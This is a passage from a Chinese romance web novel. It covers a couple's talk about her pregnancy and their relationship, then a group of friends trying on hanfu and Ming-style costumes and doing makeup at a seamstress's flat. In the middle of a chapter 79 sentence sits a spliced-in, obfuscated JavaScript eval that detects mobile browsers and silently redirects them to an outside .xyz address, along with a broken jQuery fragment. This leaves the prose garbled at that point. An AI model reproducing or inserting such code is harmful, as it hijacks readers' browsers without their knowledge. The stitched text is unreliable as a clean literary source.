“什么腔调不腔调的,这是我的真心话。”盛然赖赖地把头埋在凌晏如的肩窝里,“最软弱的一面都扒出来给你看了,你居然笑话我?” “我这可是站在你的立场考虑。”凌晏如诚恳地说,“怕你将来后悔。毕竟咱俩还不算了解,万一你突然哪天发现我的另一面,觉得我这个人一点也不可爱,想要跟我分开呢?” 盛然微微抬头,一只眼睛瞅着她:“你怕我离开你吗?” “……”凌晏如怔了怔,轻笑一声,“怕顶用吗?有什么能一成不变。再说了,谁离了谁不能活。” “这不就结了。”盛然垂下眼睛,“我们又不是那些小青年,谈个恋爱要死要活的。咱们就是过日子,爱情不靠谱,过成一家人才能长久。” 凌晏如心里一动,无奈摇头:“好话都让你说尽了。” “那你还不答应我?” “我总感觉……”凌晏如犹疑不定,“咱们俩进展太快了。” 盛然握着她的手:“同学,我们都奔四的人了,时间不等人啊!” “道理是这个道理。”凌晏如推开他的脑袋,“不过下次再这么说,小心我拧掉你天灵盖。” “保证没有下次!”盛然坐直身体,很认真地看着她说,“我只是想表达一下我迫切的心情。” 凌晏如有些迟疑地看着他:“这么迫切,你不是想要结婚吧?” 她一个眼神,盛然就明白,抢先开口道:“我说了不要名分,就是这个意思,结婚什么的往后放,等宝宝生下来再说。况且还有你前夫那一关,万一他要来争抚养权,有我在,总也能帮你挡一挡。” “那你不就成工具了吗?”凌晏如皱眉,“我不想这样。” “我就是工具,快来用我吧。”盛然情真意切,“我很好用的!” 凌晏如:“……” 她咂摸着这话,咂摸出一股搞颜色的味道,视线跟盛然对上,看到那浓眉大眼里隐隐压抑的感情,突然就很想恶作剧。 “可是……”凌晏如凑近盛然,在他耳边低声说,“我怀孕到生产这段时间,不能给你……” 盛然哽住,一张俊脸罕见地开始发红,先前那没皮没脸的样子消失于无形。他喉结上下滑动两下,结结巴巴地说:“那……那单身……这么多年,我不也过来了吗?这点……难不倒我。” “真的吗?”凌晏如摸了摸他的脸,“真是委屈你了。” “不委屈,一点也不委屈。”盛然站起身,一脸火上头的模样,“那什么,我回家一趟,你继续睡一会儿,最近这几天要好好休息养胎。” 他起身,扫了一眼周围,想起自己也没拿包,便径直往门口走去,凌晏如笑眯眯地跟在他身后。 “别送我了,就这几步路。”盛然还在因为刚才被勾起的绮思而心跳加速,回头看到凌晏如,神不守舍地阻止她。 “你都说了就这几步路,送一下又不会死。”凌晏如仰头看着他,想起上午他走时那个吻,暗暗有些期待。 可这会儿盛然心里正老鹿乱撞,怔怔地盯着凌晏如,有点不敢动嘴。凌晏如不想等他了,踮起脚尖,在他那冒了胡茬的下巴上轻轻一吻,歪头促狭地看着他:“慢走呀,男朋友。” 盛然那“突突突突”跳着的心脏突然来了个急停,瞬间变成了“突——” 套用句用烂了的网络用语——“糟糕,是心梗的感觉。” 79. 第七十九章 恋人不满 节假日前大家总是无心工作,敬业如顾妙也免不了心猿意马,寻思着小长假该怎么安排。看看日历,八天假期去掉值班一天,参加漫展一天,还剩六天,抽个三天来一下郊区游也是蛮香的。 况且这是顾肖第一年上大学,还知道回个家,等回头他跟学校里哥们混熟了,估计小假期都不会再回家了,还是应该好好把握以后越来越少的全家人在一起的机会。 顾肖其实也存着这个心思,想到以后可能会越来越忙,能陪姐姐的时间不多,这才推掉了学校里几个活动,巴巴地跑回家来。 那几个活动原本看起来平平无奇,不过就是跟高年级学长联谊、帮辅导员打打下手,帮学生会组织国庆晚会,无非都是些打杂的活儿。可顾肖打算将来进学生会,这几个活动对他来说还是有点意义的。 至于进学生会,顾肖的目的也不是要当什么官,他只是觉得学生会对他来说是个能拓宽眼界、收集资源的平台。上大学前他就想好将来要创业,而人际关系、眼界格局和资源都会是他的短板,如果不能未雨绸缪,将来自然会被这些问题所限制。 可是衡量再三,回家陪姐姐过节似乎更重要。临走的时候他特意跟辅导员打了招呼,辅导员觉得有点可惜,如果顾肖和盛缘都能留下来,至少参与一下国庆晚会的筹备,对他们俩将来进入学生会是绝对有加分的。 “放心吧导儿,我有这个自信,学生会不要我,那可亏大了!”辅导员是刚研究生毕业留校的师兄,顾肖早跟他混熟了,俩人说话跟哥们似的。 辅导员推了推眼镜:“你自己早溜回家也就算了,把盛缘也拐回去几个意思?” 顾肖一脸委屈:“这你可错怪我了,哪里是我拐她,分明是她拐我!” 盛缘在军训的时候就已经成了新生中的文艺骨干,传言中早就被内定进了文艺部,别人不清楚顾肖对于未来的打算,她却是很了解。即便顾肖不跟她说什么,她也能推测到他的想法,在回家的公交车上不经意地说出来的时候还吓了顾肖一跳。 顾肖夸张地捂住心口:“天哪你居然看穿了我的灵魂!” “你的灵魂也没有那么难看穿好吗?”盛缘早就习惯了他这套,丝毫不为所动,“一加一等于二的事。” “感觉在你面前我赤果果的,人家有点难为情。”顾肖继续演。 盛缘偏过头,上下扫了他两眼:“唔,身材还不错,再长点肌肉就完美了。” 顾肖:“……” “你倒是真挺疼你姐的。”盛缘撩了撩头发,眼含笑意看着他。 顾肖受到了表扬,孔雀尾巴有点开屏的意思,嘴上还忙着谦虚:“应该的,家人当然是第一位的。” “哦,是吗?”盛缘的语调意味深长。 顾肖立刻点头,态度极其诚恳:“等将来你成了我家人就知道了。” 这句聊骚在盛缘这里并不起作用,被她化骨绵掌轻易化解:“也对,等我小叔跟你小姨在一起,我们就是一家人了。” 那时顾肖并不知道凌晏如的近况,还在大言不惭:“我看悬。我小姨是个刚挣脱了樊笼的灵魂,不太可能这么快再进围城。” 盛缘弯了弯眼睛,并不反驳,配合他演出:“是呢。” 此刻顾肖回忆起盛缘的表现,觉得她当时一定知道了什么,却什么都不说,顿时觉得脸更加疼了。 两人正趴在咖啡馆的桌上一起做出游攻略,顾肖哀怨地看了她一眼:“你是不是早就知道你小叔我小姨在一起了?故意看着我出丑。” 盛缘意外地看着他:“怎么会?他俩不是那天下午才确定的关系吗?” “也对。”顾肖想了想,还是觉得有鬼,疑惑地盯着她,“可你为什么当时的眼神怪怪的?” 努力憋了会儿,盛缘实在憋不住,“噗嗤”一声笑了:“好吧,坦白从宽。当时我是不知道的,但通过我奶奶和小叔无意间透露的蛛丝马迹猜了个大概。不过见你好像什么也不知道,就觉得……嗯……一来这是长辈们的事儿,我不太好八卦,二来……” 顾肖向来机灵的脸表情空白:“什么?” “就是想看你现在这副样子啊哈哈哈哈!”盛缘眼泪都出来了,捂着肚子笑得前仰后合。 “捉弄我很好玩是吧?”顾肖把丹凤眼瞪成两条肥孔雀,正要假装发火,但他发觉盛缘似乎有点担心他生气,小心翼翼地收敛表情,心头一软,语调来了个一百八十度大转弯,柔和得像裹了蜜,“好玩你就多玩会儿。” 如果顾妙在此,见到顾肖这副德行,估计怒其不争,从此再不认这个没皮没脸的弟弟。 “你不觉得咱们两家的关系有点狗血吗?”盛缘托着腮,齐腰长发柔软地垂在肩上,她笑着看顾肖,“如果你小姨我小叔结婚了,我们该怎么称呼他们?妙妙姐要是跟小魏总将来在一起,小魏总和我小叔在家里关系会不会尴尬?” 盛缘不是冰山美人,她从不吝笑容,常常都是未语笑先到,让人觉得如沐春风。顾肖喜欢看她笑起来的眼睛,觉得那里面有星星,有时候他会醉倒在她的笑容里,智商瞬间退化,说来能成功捉弄他的除了顾妙,也就是盛缘了。 面对这个问题,顾肖大手一挥:“要说你叔我姨的事儿我不确定,那怪我信息不对称,但是我姐跟老魏,早着呢,还不如咱俩……” 听到这句盛缘的眼神顿时变得难以描述,倒不是不高兴,而是掺了一点促狭,一点“你怎么敢这么笃定”的意思,顾肖一撞上这眼神就有点犯怂,“嘿嘿”笑了两声,转移话题:“别看我姐大大咧咧的,感情上的事儿她心思重,恐怕一时半会儿跨不过那道坎。” 真是背后别说人,顾肖话音刚落,电话铃声就响了起来,顾妙怒发冲冠的大脑袋出现在屏幕上,把他吓得一哆嗦。 这还是顾肖特意抓拍的顾妙的丑照,想要作为要挟她的工具,还恶趣味地设成了她的来电头像。谁知这个恶趣味没有影响过别人,倒是每次把他自己吓个心惊肉跳。 “喂,姐。”被人打破二人世界,顾肖不情不愿,“……啊,这样啊……今天吗?” 盛缘向他发射了个“怎么了”的表情。 顾肖捂住电话听筒,对盛缘说:“我姐说戚滢滢想找我们去她家试衣服,把漫展上要穿的服装定下来,好像还要拍照做易拉宝什么的。你有空吗?” “有空,今天没安排别的事。”盛缘爽快答应。 顾肖心头迅速转了一念:“没安排别的事,就是要一心一意陪我喽?” 想到这一点,他再接起电话的声音都透着一丝开心:“姐,我俩没问题,来接我?好啊,等着你们。” “老弟,你是不是跟盛缘在一起呢?”电话那端的顾妙耳朵十分好使,“声音听起来这么荡漾。” “当然了!还不是要帮你做那劳什子出游计划?!选了好几个地方,回去你随便挑吧。挂了,一会儿见。” 顾妙心事重重地挂上电话,嘟囔道:“跟盛缘一起做出游计划,这是要和她一起去吗?” “怎么了?”魏如栩的声音冷不丁出现在她头顶,“你去哪儿?” 顾妙抬头,魏如栩正站在她桌子旁边,好奇宝宝似地看着她,她心头莫名就浮起一阵委屈。 “你们男人啊,都是有了媳妇就忘了娘。”顾妙颓丧地说,“盼星星盼月亮把顾肖那死孩子盼回来,想跟他一起出去玩,这下倒好,人家还要带上未来女朋友。” 她想了想,又咕哝道:“我也不是说不许盛缘一起,就是觉得……觉得……” 魏如栩看着她委屈巴巴的样子忍不住想笑:“顾助理,你该不会是弟控吧?” “弟控个鬼!谁要控他那个烦人精!”顾妙矢口否认。 “那就是嫉妒。”魏如栩打趣她,“放心,总会有个男人也为你忘了娘的。” 顾妙听了这话,表情有点怪,斜眼瞟了他一下,匆匆低下头。 魏如栩也觉得这话说得有点别扭,“咳咳”两声,清了清嗓子,把话题岔开:“你们打算哪天出去玩?” “二号吧,二三四出去三天,五号回来修整一天,六号参加漫展,七号值班,完美。”顾妙开心地比了个“V”,但是想到现实,又像只泄了气的皮球,“小姨不知道去不去,但就算去,盛总也会跟着吧,我一个人单身狗陪着两对情侣,岂不是要被狗粮撑死?哼,我带小狼去,好赖都有狼陪着我,这就是宠物存在的意义!” 魏如栩见她自己絮叨了这么多,就知道她心里多怨念,捉弄之意暗生,忍不住再给她添点堵,俯低身子凑近她,笑道:“求我啊,求我我就早点从我爸那回来,陪你参加这个扩容版的家庭旅游团。” “嘁,怎么哪儿都有你!”顾妙伸出一根手指抵着他脑门,把他的脸推远了点,“你可多陪你爸几天吧,我可不想当……” 话到嘴边,她又觉得接下来要说的词怎么想都有点暧昧,生生咬断,闭上嘴不吭声了。 魏如栩靠在她桌边:“顾肖跟盛总他侄女怎么样了?” 顾妙一扬头,嘲讽道:“你也这么八卦?” “非也。”魏如栩竖起食指晃了晃,“对无关人等是八卦,对朋友那是关心。” 顾妙觉得这话的腔调莫名耳熟,像极了顾肖:“你怎么不自己去问他?” “男人间的关心比较矜持。” “呕……你俩一个比一个能装。”顾妙撇撇嘴,想到顾肖和盛缘,叹了口气,“我问他啦,他拽了吧唧的给我说了个‘恋人未满’,估计就还是老样子吧,这娃拖拖拉拉不表白,什么恋人未满,我看是恋人不满!” 魏如栩笑了笑:“他们俩既然相处得默契,说明两人对目前这样的关系状态都能接受,你在这儿着啥急?” “受不了这样模棱两可的关系,搞暧昧嘛……不太好吧?”顾妙皱着眉,魏如栩看着她,觉得她胳膊上的红袖箍更鲜艳了。 “他俩又不是同时跟好几个人搞暧昧,有什么问题?”魏如栩意味深长,试探道,“有时候两个人在一起,也未必需要一个仪式去确定关系,说不定将来某一天就水到渠成了。” “仪式感还是需要的吧?”顾妙神情疑惑,“搞不懂现在这些娃都怎么想的。” “你还真是咸吃萝卜淡操心。”魏如栩无奈摇头,“人家哪天确定关系不就算是有仪式感了?” “我才懒得管他,就看他磨磨唧唧觉得费劲。”顾妙看下时间,开始收拾东西,“今天早点走吧,要去戚滢滢家呢。” 戚滢滢连续赶工好几天,终于把衣服都准备得差不多,能顺利邀请到顾妙和老板到自己家里去,她激动得一下午心神不安,在座位上扭来扭去,反复看时间。好不容易熬到了下班的点,她不管别人怎么看,也不假惺惺加班,立刻收拾背包走人,在写字楼楼下等着顾妙他俩。 魏如栩把车开出来,拉上戚滢滢,又到咖啡馆接上顾肖和盛缘,小车坐得满满的,往戚滢滢家开去。 按着导航,车开了好久,才到了一个偏僻破旧的小区附近,越过围墙看去,这几栋楼的楼龄看起来比顾妙他们那个小区还老。 盛缘看这地方,忧心忡忡地问:“这里离你们公司好远啊,感觉离地铁站也不近。” “是远了点,到地铁站得走个二十分钟。”戚滢滢见到了地方,赶紧跟魏如栩说:“魏总,别往里开了,里面没地方停。” “附近哪里能停车?”魏如栩四下张望着问。 “……”戚滢滢犹豫了一下道,“呃,我不开车,就没注意……” 魏如栩一踩刹车停了下来:“你们几个先下来,在这边等我,我去找下停车的地方。” 下车后,顾肖抬头打量了一下这几栋黑黢黢的老楼,感叹道:“小七,你们家这楼,算是文化古迹了吧?走进去会不会不小心穿越?” “小七”这称呼还是盛缘给取的昵称,顾妙魏如栩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459456|169685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫戚滢滢“小戚”那是上级对下级的称呼,盛缘顾肖比她小几岁,这么叫不合适。盛缘灵机一动,改了一个字,就成了“小七”。 顾妙一听顾肖又狗嘴里吐不出象牙来,瞪了他一眼。 戚滢滢倒毫不在意:“这里的房租便宜,破旧点也没关系。就是听说快要拆迁了,也不知道啥时候房东会突然赶我走。” 顾肖:“那你不早做打算?还等着房东突然袭击?” “别的地方房租都贵,早搬一天就多花一天的钱。”戚滢滢呵呵笑着,“就狗着吧,平时多留意一下其他地方的便宜房子就行了。” 盛缘:“没事儿,大家都帮你看着点,最好是离你们公司近又便宜的地方。” “先谢谢大家啦!”戚滢滢笑道,“最好是又大又便宜,离公司远点没事,多倒几趟公交地铁我也吃得消。” 顾妙远远张望,不知道魏如栩把车停哪去了,脖子伸得老长,简直像块望夫石。 趁她不注意,顾肖拍了一张她的照片,满脸坏笑。 顾妙担心魏如栩会不会迷路,正想去找他的时候,才看见他小跑着从路口拐过来,冲她挥挥手。 待他气喘吁吁跑到跟前,顾妙忍不住问:“车停这么远?” “别提了,能停车的地方都停满了,走了好几个路口才找到地方。”魏如栩往前一扬头,“走吧。” 待大家跟着戚滢滢到了她住的地方,才知道她为什么那么说——她租的是这老楼的半地下室,面积很大,大概有六十平方米,可以算是一套一居室。可这样的空间都被她布置得满满当当。 客厅里放了几个特大号的简易衣柜,占满了三面墙,拉链都拉着,但能看出来里面装得满满的,鼓鼓囊囊简直快要被撑爆了。中间则是一个巨大的折叠桌,堆满了各种衣料,光配饰小盒就有好几摞。其他地方则缝纫机、挂烫机、数个人台一应俱全,一走进来还以为这是老式服装店。 顾妙仔细看去,房间里虽然满,但也算井井有条,东西都归置得很整齐,很显然主人在这方面用了很多心思。墙角放了四个人台,左边两个穿着一白一蓝飞鱼服,右边两个则是两套大袖衫,一看也是情侣款。 “这就是我们要穿的衣服?”顾妙伸手摸了摸飞鱼服的料子,挺厚重的,她对这些也不太懂,只觉得这套衣服跟别的都不一样,面料、刺绣和手工都更加繁复精细,“这套挺贵吧?” 其余几人正在各自打量这间“工作室”,听到顾妙的话,都被吸引了过来,目光紧紧盯着那两套飞鱼服。 戚滢滢挠了挠头:“是不便宜,算是压箱底的宝贝了。当年还在上学的时候跟朋友凑钱买的面料。我们小打小闹,只能买成品布料,比不过那些大商家可以自己定制。” 顾肖哈喇子都快流下来了,伸出他的狗爪子对衣服上下其手:“姐!鸡贼啊!你俩穿的这么好看!” 魏如栩很是得意:“这就叫近水楼台先得月。” “分明是以权谋私。”顾肖撇了撇嘴。 盛缘拉起大袖衫看了看,女装内搭是一件齐腰襦裙,主色是白色,配以淡雅的卷云纹,裙子上有一抹烟蓝渐变色,与男装的烟蓝色大袖衫相呼应。 “这套也不错呀,很仙的样子。”盛缘冲顾肖弯了弯眼睛,“你穿上一定好看。又高又瘦的人穿这套更有仙气。” “真的吗?”顾肖被盛缘哄得很开心,尾巴开心地摇了几下,又强行矜持起来,仔细端详着男款的那套服装,拈着下巴做高深状,“说得在理。” “不是,这什么意思?是说我胖吗?”魏如栩戳戳顾妙,有点委屈,“我哪胖了,体脂率10%,对普通人来说很完美了好吗?” 顾妙翻了白眼:“你也开始了吗?” “借机求个夸奖嘛,这么不赏脸。”魏如栩调侃着,用肩膀轻轻撞了撞顾妙,“盛缘挺会哄人嘛。” “是挺温柔的。”顾妙瞟了认真听戚滢滢介绍的顾肖和盛缘一眼,听到魏如栩夸盛缘,心里莫名酸了一酸。 魏如栩七巧玲珑心,顿时就从这几个字当中听出了不对劲,知道她会错了意,赶紧解释,可解释又不能直接解释,否则就是暗示顾妙想太多,只能旁敲侧击:“所以嘛,她跟顾肖是绝配。顾肖就适合跟这样春风化雨的妹子在一起,什么沟壑万千,一阵风全给你抹平。” 顾妙被他逗乐了:“怎么说得跟沙尘暴似的。” “大概就是这么个感觉,能体会到就行,不要在意那些细节。”魏如栩也不知道从哪来的无药可救的求生欲,又画蛇添足地补了一句,“也不是怎么样的就好,温柔的、飒爽的、娇弱的、硬核的,各有各的特色,最主要的就是俩人之间合适。” “哦。”顾妙听了他这话,恢复了面无表情,突然转移了话题,“想支持戚滢滢创业的事儿,你跟她说了吗?” 魏如栩正后悔自己说得有点多,可惜说出去的话泼出去的水,收不回来,再多解释反而会雪上加霜,于是从善如流地回答顾妙的新问题:“还没呢,要不现在说?” 顾妙:“嗯,选个合适的时机。” 戚滢滢跟顾肖和盛缘说清楚衣服该怎么穿,让他们一个去洗手间,一个去卧室,分别换衣服,然后跑到顾妙和魏如栩身边,打算先给顾妙化妆。 于是在化妆的时候,顾妙假装不经意地开口:“滢滢,你这么热爱这一行,有没有想过自己创业啊?” “我不是在创了吗?”戚滢滢仔细给顾妙修着眉,她用的不是普通眉刀,而是单面刀片,锋利又好用,怕不小心划伤顾妙,所以她神色十分认真。 魏如栩坐在旁边,一直看着她们俩折腾,此刻接口道:“不是这种小打小闹,是真正开自己的服装工作室,一步步壮大,创立你自己的品牌。” 听到这话,戚滢滢手一抖,手里那锋利的刀片顿时刮破了顾妙的皮肤。 顾妙感觉眉间传来一阵刺痛,“啊”地叫了一声。 80. 第八十章 锦衣卫大战孔雀妖 顾妙的声音并不大,但是把戚滢滢吓坏了,她忙不迭地道歉,手忙脚乱四处找抽纸:“对不起,对不起……” 魏如栩吓了一跳,站起身凑过来:“怎么了?” “没事,就是划破了点皮。”顾妙生怕他大惊小怪,接过戚滢滢手里的纸巾按在眉毛上,一手推着魏如栩,“你坐回去,坐回去。” 红红的血滴洇透了白色的纸巾,显得触目惊心,魏如栩确实有点心疼,但也不至于大惊小怪。 他看到顾妙一直安慰戚滢滢,自然不会雪上加霜,只是拈起桌上的刀片打量了一下:“嚯,这跟我们剃须刀上用的差不多吧?没事,这种小口子好得快,一会儿就长起来了。” “是啊,别担心,又不是什么大不了的事儿。”顾妙看着戚滢滢一脸内疚,赶紧安慰她,取下纸巾给她看,“瞧,血都止住了。” 戚滢滢不知所措地绞着手,眼泪汪汪地似乎又要哭。 顾妙给魏如栩使了个眼神,意思是让他哄。 魏如栩:“……” 我才不知道怎么哄一个爱哭包呢好吗?!钢铁直男最怕女生哭了,这种题目简直比奥数还难解! 但是他又真怕戚滢滢眼泪掉下来,只好把刚才的话题拉回来,试图转移她的注意力:“你既然开了这个小店,就真没想过要做大吗?” 戚滢滢战战兢兢看了顾妙一眼,收走桌上那些沾了血迹的纸巾团,扔到靠墙角的垃圾桶里:“我连这么点小事都办不好,还开工作室、创品牌……算了吧老板,这我可不敢想。再说,钱从哪儿来……” “只要你能拿出不错的商业计划书,我可以试着帮你找投资。”这回魏如栩也不敢充大个儿说自己来投资,免得又被顾妙嘲笑。 “商业计划书是什么?听都没听过。”戚滢滢茫然地说。 顾妙和魏如栩面面相觑,表示孩子带不动啊带不动。 魏如栩最后再努把力:“你有才华,也有韧性,可以大胆把思路再放宽一些。况且创业也是需要同伴的,你自己做不到的事,可以找同伴来互补。其他的事我和顾妙都愿意帮你,但究竟怎么选,还得看你自己。这事不急,你好好考虑一下。” 戚滢滢有点心慌意乱,抽了纸巾擤了把鼻涕,带着鼻音道:“唔,谢谢你们,我会好好想想。” 话已至此,魏如栩也不好多说什么。本来一件挺好的事儿,现在感觉好像是自己剃头挑子一头热,还有点强买强卖的意思,着实令人有点丧气。 他本能地看了顾妙一眼,顾妙冲他做了个口型,大概是“别往心里去”的意思。 魏如栩点点头,冲她勾了勾嘴角。 客厅里一时气氛有点凝重,好在暖场王顾肖换好衣服从洗手间出来了,他把门一推,手机里播放着一首著名的古风歌曲,在BGM的加持下,他穿着飘逸的汉服款款而来的样子确实令人眼前一亮。 这娃浑然是入戏了,迈着自创的“凌波微步”来到众人面前,一把抽出折叠桌上压在一摞布料下的长木尺,假装那是他的仙剑,花里胡哨地比划了几下,最后反手持剑隐于背后,一侧脸,冲顾妙一挑眉:“姐,老魏,小七,怎么样?我带劲不?” 说起来,顾肖本人瘦长条,肩背如削,脖颈修长,这又刚军训完,这么昂首挺胸地站着,看起来确实挺拔如松,自带一股凛然正气,再配上大袖衫的仙气缥缈,气质的确不俗。 再加上他丹凤眼,长眉入鬓,认真起来颇有不怒自威的气势,倒是也有一番独特的仙家风骨——仙气中隐隐含着一缕魅惑人心的妖气。 顾妙暗想,盛缘这小妮子确实眼光独到,哄人都能哄到点儿上。 魏如栩冲顾肖竖了竖大拇指:“带劲。” 戚滢滢更是激动:“太好看了,比想象中好看多了!但是还差一点……” “我都这么帅了还差什么?!”顾肖不服。 戚滢滢拉着他到折叠桌旁坐下,把顾妙面前的镜子摆在顾肖身前,然后拉开折叠桌下一个组合柜的柜门,从里面取出来一个男子半束发的假发套:“粘上头套会更完美!” “啊啊啊啊我不要在头上抹胶水啊,听说会影响发际线啊!”顾肖捂着自己的脑袋哀嚎,回头看了一眼魏如栩,“老魏你也要粘吗?” “小魏总不用,他有帽子可以戴。” 相似的画面又来了一遍,顾肖哀怨地看了顾妙和魏如栩一眼:“你俩是不是商量好的?!” 魏如栩幸灾乐祸地笑,把刚刚顾肖讥讽他的词原样还了回去:“这就是以权谋私的好处。” 顾妙举着手机给顾肖拍照:“你现在这样好看是好看,可是圆寸配汉服你自己不觉得奇怪吗?看看镜子里的你,气质都散光了,简直就是‘小尼姑年方二八,正青春被师父削去了头发’。” “你才小尼姑,老子这么阳刚一汉子……”顾肖正想做垂死挣扎,恰好盛缘也换好衣服出来。她长发披肩,亭亭玉立,穿着大袖衫迈着小碎步,轻缓地走到众人面前福了一福,这巧笑盼兮、美目倩兮的样子令顾妙都觉得满室生辉,顾肖看得眼睛都直了,当即变脸。 “废什么话,我这么年轻会怕发际线后退吗?”顾肖拿起假发套,豪气干云地扔给戚滢滢,“来,小七,给我粘!” 盛缘走到他身旁仔细打量:“果然啊,你穿上就是好看。” 顾肖得意地冲盛缘挑了挑眉:“没你好看。” 顾妙:“……” 魏如栩:“……” 当我们都死的吗?两个人不约而同地扶额。 戚滢滢一边给顾肖抹胶水、粘假发,一边指挥道:“小缘,那边还有几个镜子,麻烦你拿过来给妙妙姐分一分。你自己先打粉底,按自己平时喜欢的化就行,随后我再给你加强一下,然后帮你你粘花钿做头发。” “好嘞!”盛缘痛快应道,按着她的指示找到折叠镜,递给顾妙一面,然后她跟顾肖并排坐在大桌旁边。 “妙妙姐,你的妆也一样,花钿都不用,英气一点正好,一会儿我给你做发型。”戚滢滢看了一眼魏如栩,随即道,“为了节省时间,你替我给小魏总化妆吧,男生简单,修修眉,打个粉底差不多了。” “纳尼?要打粉底?”魏如栩和顾肖异口同声发出哀嚎。 房间里三个女生同时向他们投去了蜜汁微笑,均是一脸“你们叫破喉咙也没有人会来救你们”的嘚瑟和“终于落到我手里”的嚣张。 顾妙一手拿粉底,一手拿粉扑,向魏如栩笑眯眯地招呼道:“老板,来呀!” 魏如栩皱眉:“听听你说的这是什么话?!跟倚红楼门口的姑娘似的。” 顾妙坏笑:“哟,敢情你见过倚红楼门口的姑娘。” 顾肖插嘴:“老魏,什么倚红楼?” 魏如栩坐在顾妙身旁的椅子上,气急败坏地:“闭嘴,好好粘你的假发套。” 旁边正画眉的盛缘忍不住低声笑了起来,扭头瞥了顾肖一眼。 顾肖赶忙道:“我这么单纯,真的什么都不知道。” “来了啊,闭上眼睛。”顾妙用发箍把魏如栩的额发推上去,然后沾湿粉扑,蘸上粉底液,开始往他脸上轻轻拍打。 魏如栩战战兢兢,闭着眼问:“顾助理,你行吗?平时我也没见你化妆,不够专业的话……” 他脑海里莫名浮现出第一次见顾妙时候她那张大花脸,背后传来一丝凉意。 “放心吧,糊墙谁不会啊?”顾妙感觉自己受到了轻视,“保准给你抹得又白又匀,再说你这冷白皮,稍微涂一点就好看,放心,啊!” 魏如栩:“……” 冷白皮这个梗还能不能过去了?! 既来之,则安之,魏如栩只好强迫自己放下心来,按照顾妙的要求睁眼闭眼,一会儿往上看,一会儿往下看,一切听指挥,非常乖巧。 顾妙看着他戴着淡蓝色带蝴蝶结的的塑料发箍,被涂了一脸白色粉底,乖乖地坐在那里仰着脸任她打扮的样子,就觉得被萌了一脸血。 而且她好像还是第一次这么近距离观察魏如栩的脸,虽然目前扮相有点奇怪,但额发被拢上去之后,更凸显出他高挺的鼻梁和微微凹陷的眼窝,面部骨相立体而有棱角,下颌线更堪称完美。 果然美人在骨不在皮啊,顾助理默默吞了吞口水。 她盯着魏如栩那浓密的睫毛,羡慕得不要不要的,有心想拿尺子比一比,又觉得这个行为太过于哈士奇,想来想去放弃了,悄咪咪掏出手机,给魏如栩多角度连拍了几张照。 魏如栩感觉到顾妙一阵子没动作,警觉地眯眼看她,瞬间捉住她鬼鬼祟祟把手机放回桌上的动作:“你在搞什么?” “没什么,看看有没有人找我。”顾助理气场不乱。 魏如栩面无表情:“照片私藏可以,禁止商用。” 顾妙:“……” “粉底打好了?”魏如栩往镜子里一看,啧,还真是白到发光,真跟刷了白漆似的,“顾助理,你给我涂得粉底有点厚吧?咱们这是在拍《夜访吸血鬼》吗?” “不厚不厚,影楼妆都这样,一会儿给你上点腮红。”顾妙匆忙解释。 魏如栩莫名想到《龙珠》里饺子的形象,整个人有点方。 戚滢滢看到顾妙的进度,赶忙说:“妙妙姐,你面前那个化妆盒里有眉卡,我特意买的,你帮小魏总修一下眉吧。” 魏如栩:“???” 戚滢滢心想,我才不敢动老板一根毫毛呢,死道友不死贫道,这么危险的任务自然交给妙妙姐你了!求挺住! 那边顾肖的头套粘好,他对着镜子照了照,觉得里面的自己眉清目秀很好看,忽然来了感觉:“我还挺像那古风美少年的嘛!姐,给我准备钱,我要出道!” “要钱没有,要命一条!”顾妙头都没回,在化妆盒里找出眉卡,一张张对着魏如栩比划,“想要钱的话,自己去出卖色相吧。” 盛缘轻声细语地跟顾肖说:“要不下次有类似的选秀,我帮你报个名?在文艺部的话这方面的消息会比较灵通。” “……”顾肖可禁不住盛缘这认真一看,挠着后脑勺,“嘿嘿”笑了两声,“算了,怎么忍心看到祖国AI大业痛失我这样的人才呢。” 正在给盛缘梳头的戚滢滢“啪”地一梳子打在他手上:“头套刚粘好,别乱挠!” 他们那边打闹着,这边魏如栩紧张地看着顾妙手里的眉卡,想到刚刚她在戚滢滢手下惨遭毒手的眉毛,声音颤抖地说:“要不……我自己来?” “你会修眉?”顾妙疑惑地盯着他。 “不会。” “那不废话嘛!”顾妙翻了个白眼,“要不让滢滢来给你修。” 魏如栩按住顾妙拿着眉卡的手腕:“不用了,你可以的!” 旁边传来“咣”的一声,他俩扭头看,戚滢滢正慌乱地从地上捡起梳子,强装淡定继续给盛缘梳头。 “你放心吧,我不用刀片,只用眉刀。”顾妙端详着他的眉毛,“你的眉形挺好的,杂眉也不多,适当刮两下就成。” 魏如栩心一横,闭上眼,把一张脸交了出去,没过一会儿,他感觉到顾妙果然只是在他的眉毛上轻轻刮了几下,又拿小剪子剪了剪,然后把眉卡按了过来,拿着眉笔在上面描画。 “是挺简单的嘛,早知道自己来了。我们学画的人就是手稳。”魏如栩大言不惭地在心里想着,下一刻,他突然嗅到了属于顾妙特有的香味,这香味竟然渐渐凑近,就在他的鼻尖处逡巡不散。 他眼睛微微睁开一条缝,看见顾妙的脸凑得非常近,和他之间就只有几厘米的距离,两人呼吸交错,顾妙的红润的嘴唇就在他眼前,由于过分专注,她洁白的牙齿还下意识地咬住了下唇…… 魏如栩心里头老鹿快撞到头盖骨碎裂,强迫自己闭上眼睛,可是那旖旎的画面在他脑海中挥之不去,再加上他的脑补,产生了新的素材,撩得小魏总有点心神荡漾,本能地屏住呼吸,喉结不自控地上下滑动。 “咕噜、咕噜,咕——” 魏如栩:“……” 顾妙:“……” 这首肠子奏鸣曲来得恰到好处,拖得长长的尾音及时打断了小魏总脑中废料的生产,把往不可描述里跑偏的气氛重新拉回到“弱智儿童欢乐多”的轻松氛围中来。 顾妙忍不住笑了,魏如栩本能地瞥了瞥旁边的人,见别人都正忙着,应该只有顾妙一个人发觉,这才暗暗放下心来。 丢人不能丢到外面去,但在自己人面前不用讲面子。 “饿了?”顾妙退后几步,看看她给魏如栩画的眉毛对不对称,“想吃什么,我给你定外卖。” 听到“外卖”俩字魏如栩情不自禁咽了下口水:“现在吃完,一会儿拍照会不会水肿?” 